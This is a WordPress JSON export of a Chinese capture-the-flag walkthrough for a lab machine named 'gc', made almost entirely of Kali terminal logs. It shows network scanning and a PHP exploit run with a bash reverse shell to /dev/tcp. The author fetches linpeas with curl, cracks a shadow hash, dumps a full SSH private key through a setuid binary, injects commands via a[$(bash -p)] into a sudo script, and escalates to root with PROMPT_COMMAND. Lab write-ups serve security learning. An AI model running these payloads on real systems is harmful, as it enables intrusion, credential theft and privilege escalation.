{"id":1078,"date":"2025-05-01T16:39:38","date_gmt":"2025-05-01T08:39:38","guid":{"rendered":"http:\/\/xiyu12.top\/?p=1078"},"modified":"2025-05-01T16:39:38","modified_gmt":"2025-05-01T08:39:38","slug":"gc-lib","status":"publish","type":"post","link":"http:\/\/www.xiyu12.top\/?p=1078","title":{"rendered":"gc-lib"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">\u4e00\u3001\u4fe1\u606f\u6536\u96c6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~\/Desktop]\n\u2514\u2500$ ip a\n1: lo: &lt;LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000\n    link\/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\n    inet 127.0.0.1\/8 scope host lo\n       valid_lft forever preferred_lft forever\n    inet6 ::1\/128 scope host noprefixroute \n       valid_lft forever preferred_lft forever\n2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000\n    link\/ether 00:0c:29:ea:4f:b2 brd ff:ff:ff:ff:ff:ff\n    inet 192.168.20.32\/24 brd 192.168.20.255 scope global dynamic noprefixroute eth0\n       valid_lft 3578sec preferred_lft 3578sec\n    inet6 fe80::3be4:3e0e:f3f2:8fe1\/64 scope link noprefixroute \n       valid_lft forever preferred_lft forever\n                                                                                                                                      \n\u250c\u2500\u2500(kali\u327fkali)-&#91;~\/Desktop]\n\u2514\u2500$ sudo nmap  -sn  192.168.20.0\/24                           \n&#91;sudo] password for kali: \nStarting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2025-05-01 04:12 EDT\nNmap scan report for 192.168.20.31 (192.168.20.31)\nHost is up (0.00019s latency).\nMAC Address: 08:00:27:8C:4C:C6 (Oracle VirtualBox virtual NIC)\nNmap scan report for 192.168.20.229 (192.168.20.229)\nHost is up (0.030s latency).\nMAC Address: 1E:A3:33:FC:CE:96 (Unknown)\nNmap scan report for 192.168.20.253 (192.168.20.253)\nHost is up (0.00015s latency).\nMAC Address: 38:D5:7A:E0:D5:C1 (Cloud Network Technology Singapore PTE.)\nNmap scan report for 192.168.20.32 (192.168.20.32)\nHost is up.\nNmap done: 256 IP addresses (4 hosts up) scanned in 4.54 seconds\n                                                                                                                                      \n\u250c\u2500\u2500(kali\u327fkali)-&#91;~\/Desktop]\n\u2514\u2500$ sudo nmap -p- 192.168.20.31    \nStarting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2025-05-01 04:12 EDT\nNmap scan report for 192.168.20.31 (192.168.20.31)\nHost is up (0.00029s latency).\nNot shown: 65532 closed tcp ports (reset)\nPORT     STATE SERVICE\n22\/tcp   open  ssh\n80\/tcp   open  http\n8080\/tcp open  http-proxy\nMAC Address: 08:00:27:8C:4C:C6 (Oracle VirtualBox virtual NIC)\n\nNmap done: 1 IP address (1 host up) scanned in 2.36 seconds\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e8c\u3001\u7acb\u8db3\u70b9<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u2500\u2500(kali\u327fkali)-&#91;~\/Desktop]\n\u2514\u2500$ cd cnext-exploits-main                                                                                                        \u250c\u2500\u2500(kali\u327fkali)-&#91;~\/Desktop\/cnext-exploits-main]\n\u2514\u2500$ vim cnext-exploit.py                                                                                                                                  \n\u250c\u2500\u2500(kali\u327fkali)-&#91;~\/Desktop\/cnext-exploits-main]\n\u2514\u2500$ \/opt\/p\/bin\/python3 cnext-exploit.py http:\/\/192.168.20.31:8080\/index.php  \"\/bin\/bash -c 'bash -i >&amp; \/dev\/tcp\/192.168.20.32\/4444 0>&amp;1'\" \n&#91;*] The data:\/\/ wrapper works\n&#91;*] The php:\/\/filter\/ wrapper works\n&#91;*] The zlib extension is enabled\n&#91;+] Exploit preconditions are satisfied\n&#91;*] Using 0x7f0b5e400040 as heap\n\n     EXPLOIT  SUCCESS \n\nrlwrap nc -lvp 4444    \n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">1<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~\/Desktop\/cnext-exploits-main]\n\u2514\u2500$ cd \/tmp                                                     \n                                                                                                                                      \n\u250c\u2500\u2500(kali\u327fkali)-&#91;\/tmp]\n\u2514\u2500$ locate linpeas      \n\/home\/kali\/.cache\/vmware\/drag_and_drop\/LpKrwZ\/linpeas.sh\n\/home\/kali\/.cache\/vmware\/drag_and_drop\/iSaXWh\/linpeas.sh\n\/usr\/share\/powershell-empire\/empire\/server\/modules\/python\/situational_awareness\/host\/multi\/linpeas.yaml\n                                                                                                                                      \n\u250c\u2500\u2500(kali\u327fkali)-&#91;\/tmp]\n\u2514\u2500$ cp \/home\/kali\/.cache\/vmware\/drag_and_drop\/LpKrwZ\/linpeas.sh .\n                                                                                                                                      \n\u250c\u2500\u2500(kali\u327fkali)-&#91;\/tmp]\n\u2514\u2500$ python3 -m http.server 80 \nServing HTTP on 0.0.0.0 port 80 (http:\/\/0.0.0.0:80\/) ...\n192.168.20.31 - - &#91;01\/May\/2025 04:15:26] \"GET \/linpeas.sh HTTP\/1.1\" 200 -\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">2<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>www-data@f094e0959a50:\/tmp$ wget -h\nwget -h\nbash: wget: command not found\nwww-data@f094e0959a50:\/tmp$ curl -h\ncurl -h\nUsage: curl &#91;options...] &lt;url>\n -d, --data &lt;data>          HTTP POST data\n -f, --fail                 Fail fast with no output on HTTP errors\n -h, --help &lt;category>      Get help for commands\n -i, --include              Include protocol response headers in the output\n -o, --output &lt;file>        Write to file instead of stdout\n -O, --remote-name          Write output to a file named as the remote file\n -s, --silent               Silent mode\n -T, --upload-file &lt;file>   Transfer local FILE to destination\n -u, --user &lt;user:password> Server user and password\n -A, --user-agent &lt;name>    Send User-Agent &lt;name> to server\n -v, --verbose              Make the operation more talkative\n -V, --version              Show version number and quit\n\nThis is not the full help, this menu is stripped into categories.\nUse \"--help category\" to get an overview of all categories.\nFor all options use the manual or \"--help all\".\nwww-data@f094e0959a50:\/tmp$ curl http:\/\/192.168.20.32\/linpeas.sh -o linpeas.sh\n&lt; curl http:\/\/192.168.20.32\/linpeas.sh -o linpeas.sh\n\nsource .\/linpeas.sh\n......\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Backup files (limited 100)\n-rw-r--r-- 1 root root 138 Mar 27  2023 \/usr\/lib\/systemd\/system\/dpkg-db-backup.timer\n-rw-r--r-- 1 root root 147 Mar 27  2023 \/usr\/lib\/systemd\/system\/dpkg-db-backup.service\n-rwxr-xr-x 1 root root 2569 May 11  2023 \/usr\/libexec\/dpkg\/dpkg-db-backup\n-rw-r--r-- 1 root root 568 Apr 26 08:09 \/etc\/shadow.bak\n-rw-r--r-- 1 root root 0 Apr  8  2024 \/var\/lib\/systemd\/deb-systemd-helper-enabled\/timers.target.wants\/dpkg-db-backup.timer\n-rw-r--r-- 1 root root 61 Apr  8  2024 \/var\/lib\/systemd\/deb-systemd-helper-enabled\/dpkg-db-backup.timer.dsh-also\n.........\n\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">3<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;~\/Desktop]\n\u2514\u2500$ cd \/tmp                                                                                                                       \n                                                                                                                                      \n\u250c\u2500\u2500(kali\u327fkali)-&#91;\/tmp]\n\u2514\u2500$ vim hash      \n                                                                                                                                      \n\u250c\u2500\u2500(kali\u327fkali)-&#91;\/tmp]\n\u2514\u2500$ john --format=crypt --wordlist=\/usr\/share\/wordlists\/rockyou.txt hash\nUsing default input encoding: UTF-8\nLoaded 1 password hash (crypt, generic crypt(3) &#91;?\/64])\nNo password hashes left to crack (see FAQ)\n                                                                                                                                      \n\u250c\u2500\u2500(kali\u327fkali)-&#91;\/tmp]\n\u2514\u2500$ john --format=crypt --wordlist=\/usr\/share\/wordlists\/rockyou.txt --show  hash\nInvalid options combination: \"--show\"\n                                                                                                                                      \n\u250c\u2500\u2500(kali\u327fkali)-&#91;\/tmp]\n\u2514\u2500$ john  --show  hash \npretend:pretend:20204::::::\n\n1 password hash cracked, 0 left\n\npretend:pretend<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">4<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>www-data@f094e0959a50:\/tmp$ su pretend\nsu pretend\nPassword: pretend\nid\nuid=999(pretend) gid=999(pretend) groups=999(pretend)\ncd ~\nls -al\ntotal 56\ndrwxr-xr-x 3 root root     4096 Apr 26 08:29 .\ndrwxr-xr-x 1 root root     4096 Apr 26 08:05 ..\ndrwx------ 2 1000    1000  4096 Apr 26 08:44 .ssh\n-rwsr-x--- 1 root pretend 44016 Apr 26 08:29 cat\n.\/cat .ssh\/id_rsa\n-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAYEAnxdsGUBU06\/l5jI8h7DEpzcE+hYtewNsUtyC6wctbHx3bPVn9cUX\nhTG8kgED65iJXbP\/SDZYFwQy2DxEwfHSrn4OO\/ihrq0KDDodhUlOu7QB0N5Rx3X+r7sD82\niS9UmACtA0yhG0ahnDFKAZuB21fqUuiT4fPwCMeEa5nJIR9DQjQKRe9eFI8mhJWdbzcpxU\nB\/GvuQZTWOmCHJwbafbKR+c8xRTCDBElOPgw7xH8jZbXaTe5jAvYgLobjzElCg2e1QgJLQ\nqKo7CNQQbH2Gbr5AasKGITpqCIrtwn+rsxK\/iX9sAsrb8g6QUwOmvNVi4Zf51XBZTyG3oq\nGmWovF8q+rHEpgusSPQkDzgt8MgNZndLV45yuvoY42hPwn6QRyRC8Wafzsl5s7ixY+NL1j\nJAQvtHhvPJU2YWk\/ntuwfJtPrl\/9QmeVj18qEvEvji1m3qsWw147wKJJJPP8pgHNc6TaX5\ntF\/lKnoxw6\/Gfk6d+rDfO+3hNJqDZWUs1yE5v2BnAAAFiDA2CP8wNgj\/AAAAB3NzaC1yc2\nEAAAGBAJ8XbBlAVNOv5eYyPIewxKc3BPoWLXsDbFLcgusHLWx8d2z1Z\/XFF4UxvJIBA+uY\niV2z\/0g2WBcEMtg8RMHx0q5+Djv4oa6tCgw6HYVJTru0AdDeUcd1\/q+7A\/NokvVJgArQNM\noRtGoZwxSgGbgdtX6lLok+Hz8AjHhGuZySEfQ0I0CkXvXhSPJoSVnW83KcVAfxr7kGU1jp\nghycG2n2ykfnPMUUwgwRJTj4MO8R\/I2W12k3uYwL2IC6G48xJQoNntUICS0KiqOwjUEGx9\nhm6+QGrChiE6agiK7cJ\/q7MSv4l\/bALK2\/IOkFMDprzVYuGX+dVwWU8ht6KhplqLxfKvqx\nxKYLrEj0JA84LfDIDWZ3S1eOcrr6GONoT8J+kEckQvFmn87JebO4sWPjS9YyQEL7R4bzyV\nNmFpP57bsHybT65f\/UJnlY9fKhLxL44tZt6rFsNeO8CiSSTz\/KYBzXOk2l+bRf5Sp6McOv\nxn5Onfqw3zvt4TSag2VlLNchOb9gZwAAAAMBAAEAAAGBAJEciitWNImKDgc0l2WlZRqo4s\n9CX2WvL6U9IeVC\/LnRphUqmxLgHZ4OSdRbPLouvk1MG3RArYUA\/WejQYwuCV\/D9zPYi5GK\noHmaoMasoTYw8N8Vij6HcDHWQbpKDpHR4wr58szF7WxB52Duz8bSwnOsM5BXq6SJ2Zbz2+\nXmjp3S2LzjsQJR5XnGifF6UUCfOz6rwv7fuDKHe3ihI5g51TRUxWd2kbD0CqG2MNw\/6b80\ncXO1snb9bxOrreukhgZveJrYW1k0dPSvdzI2twjCaIUuiT1rKnaRt9wmIRXfGsr4IemwqQ\nMnWcnpLHsK4DPSqwgCr+KhLbkEOksRSwQQiXXLyYnMoKbNRNezUzLZxexeNQNFtmVNcC9p\np\/m8Fima80z05GXTcWoYZ8AxlMlDBzu4CeumjCO09zea01GK7wrcGFiylcunlVnttJ+c6f\n2Zd9G+d+PwGGmWLsy14DZ7fdCBfqmtUNuyeK5kqS7RFMrRxRg5SuIi7gyT\/ehIjEPKIQAA\nAMEAvRPU4CSjwJ2MyATW8uCaCRH\/bxTqzkU8IXSaMG6OJOkwHg\/gkIo07auSkeYkfsDFAC\nSrY3OFEYr9LRPt1iqunv5OOvijKJvE\/vR5lL1Dwkv5uU2NKiPYF0leK8Si4YVZ6tSs7ki9\nGv9csfO6ep+tIzoGGI1mafLPQvvXU5eGxnr1Y2rVl3ch5E+pHArS0zRW1ZSVj1jQ48C4XA\nt4Jh27wUKfmen8amCFKPWWbAks17U4fcRECmFYyHXQUTiBAeV4AAAAwQDN5Z8Vu9DFdU3g\nS6+Il83PmvZsv5nl+2Pgid1rlBRK+PYlBIdFPxJZTVxFp+zsau+t7kCLAMr0z53HJWZSdc\n1letaRxulIIXEVo6sr1Mqru2ruuRTihzbYt6G+gomP1vryTNohKtlPSQ+i+z8sfywNjWLv\nc+r5DYwCrm3VkD4BRxqYgr8R86H9CsDWh24jT3pxoGitznEBEdm\/azao3B+GjPBcGIyry\/\nE12ly8Mbq2PhJ+N8EXzupSk6MI0vKJjfkAAADBAMXODFCBbiguF5pvDKGdsRvVYiN1SXsu\nlbpQSCBwwrbuiFSc1+H3xCSgHkhPpwh1v7812+E+PFTdvFXOHx64nY\/qgdPeEt\/frTlAdV\njhlEJgq5mMV7VmwdEFxG7Oo\/8zU0kcN0pIfch1jQpudMjGM9g+s4HI\/2VLuVsYY11b7fgo\nXjAEqMEF259x1HQ6qsbsbgaSauHnwV61ka0yuy92QoLJP5Ci+wdqY83RM3DsgXAnQbJNGK\nwDCd5QkpnaA6F5XwAAAA13ZWxjb21lQG1vYmFuAQIDBA==\n-----END OPENSSH PRIVATE KEY-----\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u250c\u2500\u2500(kali\u327fkali)-&#91;\/tmp]\n\u2514\u2500$ vim id_rsa    \n                                                                                                                                      \n\u250c\u2500\u2500(kali\u327fkali)-&#91;\/tmp]\n\u2514\u2500$ ssh-keygen -y -f id_rsa > id_rsa.pub                      \n@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\n@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @\n@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\nPermissions 0664 for 'id_rsa' are too open.\nIt is required that your private key files are NOT accessible by others.\nThis private key will be ignored.\nLoad key \"id_rsa\": bad permissions\n                                                                                                                                      \n\u250c\u2500\u2500(kali\u327fkali)-&#91;\/tmp]\n\u2514\u2500$ chmod 600 id_rsa\n                                                                                                                                      \n\u250c\u2500\u2500(kali\u327fkali)-&#91;\/tmp]\n\u2514\u2500$ ssh-keygen -y -f id_rsa > id_rsa.pub\n                                                                                                                                      \n\u250c\u2500\u2500(kali\u327fkali)-&#91;\/tmp]\n\u2514\u2500$ cat id_rsa.pub                       \nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfF2wZQFTTr+XmMjyHsMSnNwT6Fi17A2xS3ILrBy1sfHds9Wf1xReFMbySAQPrmIlds\/9INlgXBDLYPETB8dKufg47+KGurQoMOh2FSU67tAHQ3lHHdf6vuwPzaJL1SYAK0DTKEbRqGcMUoBm4HbV+pS6JPh8\/AIx4RrmckhH0NCNApF714UjyaElZ1vNynFQH8a+5BlNY6YIcnBtp9spH5zzFFMIMESU4+DDvEfyNltdpN7mMC9iAuhuPMSUKDZ7VCAktCoqjsI1BBsfYZuvkBqwoYhOmoIiu3Cf6uzEr+Jf2wCytvyDpBTA6a81WLhl\/nVcFlPIbeioaZai8Xyr6scSmC6xI9CQPOC3wyA1md0tXjnK6+hjjaE\/CfpBHJELxZp\/OyXmzuLFj40vWMkBC+0eG88lTZhaT+e27B8m0+uX\/1CZ5WPXyoS8S+OLWbeqxbDXjvAokkk8\/ymAc1zpNpfm0X+UqejHDr8Z+Tp36sN877eE0moNlZSzXITm\/YGc= welcome@moban\n\n\u250c\u2500\u2500(kali\u327fkali)-&#91;\/tmp]\n\u2514\u2500$ ssh welcome@192.168.20.31 -i id_rsa \nThe authenticity of host '192.168.20.31 (192.168.20.31)' can't be established.\nED25519 key fingerprint is SHA256:O2iH79i8PgOwV\/Kp8ekTYyGMG8iHT+YlWuYC85SbWSQ.\nThis host key is known by the following other names\/addresses:\n    ~\/.ssh\/known_hosts:46: &#91;hashed name]\n    ~\/.ssh\/known_hosts:48: &#91;hashed name]\n    ~\/.ssh\/known_hosts:49: &#91;hashed name]\n    ~\/.ssh\/known_hosts:50: &#91;hashed name]\nAre you sure you want to continue connecting (yes\/no\/&#91;fingerprint])? yes\nWarning: Permanently added '192.168.20.31' (ED25519) to the list of known hosts.\nLinux gc 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64\n\nThe programs included with the Debian GNU\/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in \/usr\/share\/doc\/*\/copyright.\n\nDebian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nLast login: Wed Apr 30 06:30:02 2025 from 192.168.20.253\nwelcome@gc:~$ \n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>welcome@gc:~$ sudo -l\nMatching Defaults entries for welcome on localhost:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser welcome may run the following commands on localhost:\n    (think) NOPASSWD: \/bin\/bash \/think\/Task_Scheduler.sh\nwelcome@gc:~$ sudo -u think \/bin\/bash \/think\/Task_Scheduler.sh \n\n+ Task Scheduler +\n\nPlease enter the task priority (1-10): a&#91;$(bash -p)]\nPlease enter the estimated CPU usage (in percentage, 0-100): \nPlease enter the estimated memory usage (in MB): \nthink@gc:\/home\/welcome$ \n\nwelcome@gc:~$ sudo -u think \/bin\/bash \/think\/Task_Scheduler.sh \n\n+ Task Scheduler +\n\nPlease enter the task priority (1-10): a&#91;$(cat \/think\/pass.txt)]\nPlease enter the estimated CPU usage (in percentage, 0-100): \nPlease enter the estimated memory usage (in MB): \n\/think\/Task_Scheduler.sh: line 14: think@thinkyouare: syntax error: invalid arithmetic operator (error token is \"@thinkyouare\")\n\/think\/Task_Scheduler.sh: line 15: think@thinkyouare: syntax error: invalid arithmetic operator (error token is \"@thinkyouare\")\n\nTask Resource Requirements:\nAdjusted CPU Usage: %\nAdjusted Memory Usage:  MB\nTotal Resource Consumption: 0\nwelcome@gc:~$ su think<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">7<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>think@gc:\/home\/welcome$ dpkg -V\n??5?????? c \/etc\/irssi.conf\n??5?????? c \/etc\/apache2\/apache2.conf\ndpkg: warning: systemd: unable to open \/var\/lib\/polkit-1\/localauthority\/10-vendor.d\/systemd-networkd.pkla for hash: Permission denied\n??5??????   \/var\/lib\/polkit-1\/localauthority\/10-vendor.d\/systemd-networkd.pkla\n??5?????? c \/etc\/grub.d\/10_linux\n??5?????? c \/etc\/grub.d\/40_custom\ndpkg: warning: sudo: unable to open \/etc\/sudoers for hash: Permission denied\n??5?????? c \/etc\/sudoers\ndpkg: warning: sudo: unable to open \/etc\/sudoers.d\/README for hash: Permission denied\n??5?????? c \/etc\/sudoers.d\/README\n??5??????   \/bin\/su\n??5?????? c \/etc\/pam.d\/su\ndpkg: warning: inspircd: unable to open \/etc\/inspircd\/inspircd.conf for hash: Permission denied\n??5?????? c \/etc\/inspircd\/inspircd.conf\ndpkg: warning: inspircd: unable to open \/etc\/inspircd\/inspircd.motd for hash: Permission denied\n??5?????? c \/etc\/inspircd\/inspircd.motd\ndpkg: warning: inspircd: unable to open \/etc\/inspircd\/inspircd.rules for hash: Permission denied\n??5?????? c \/etc\/inspircd\/inspircd.rules\ndpkg: warning: packagekit: unable to open \/var\/lib\/polkit-1\/localauthority\/10-vendor.d\/org.freedesktop.packagekit.pkla for hash: Permission denied\n\nthink@gc:\/home\/welcome$ grep -B 1 think \/etc\/pam.d\/su \nauth  &#91;success=ignore default=1] pam_succeed_if.so user = root\nauth  sufficient                 pam_succeed_if.so use_uid user = think\n\nthink@gc:\/home\/welcome$ su root\nyou are not think\nthink@gc:\/home\/welcome$ su root -c \"id\"\nsu: invalid option -- 'c'\nTry 'su --help' for more information.\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e09\u3001\u63d0\u6743<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>think@gc:\/home\/welcome$ export PROMPT_COMMAND=\"id\"\nuid=1001(think) gid=1001(think) groups=1001(think)\nthink@gc:\/home\/welcome$ su root\nuid=0(root) gid=0(root) groups=0(root)\nyou are not think\nuid=1001(think) gid=1001(think) groups=1001(think)<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001\u4fe1\u606f\u6536\u96c6 \u4e8c\u3001\u7acb\u8db3\u70b9 0 1 2 3 4 5 6 7 \u4e09\u3001\u63d0\u6743<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1078","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts\/1078","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1078"}],"version-history":[{"count":0,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts\/1078\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1078"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1078"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1078"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}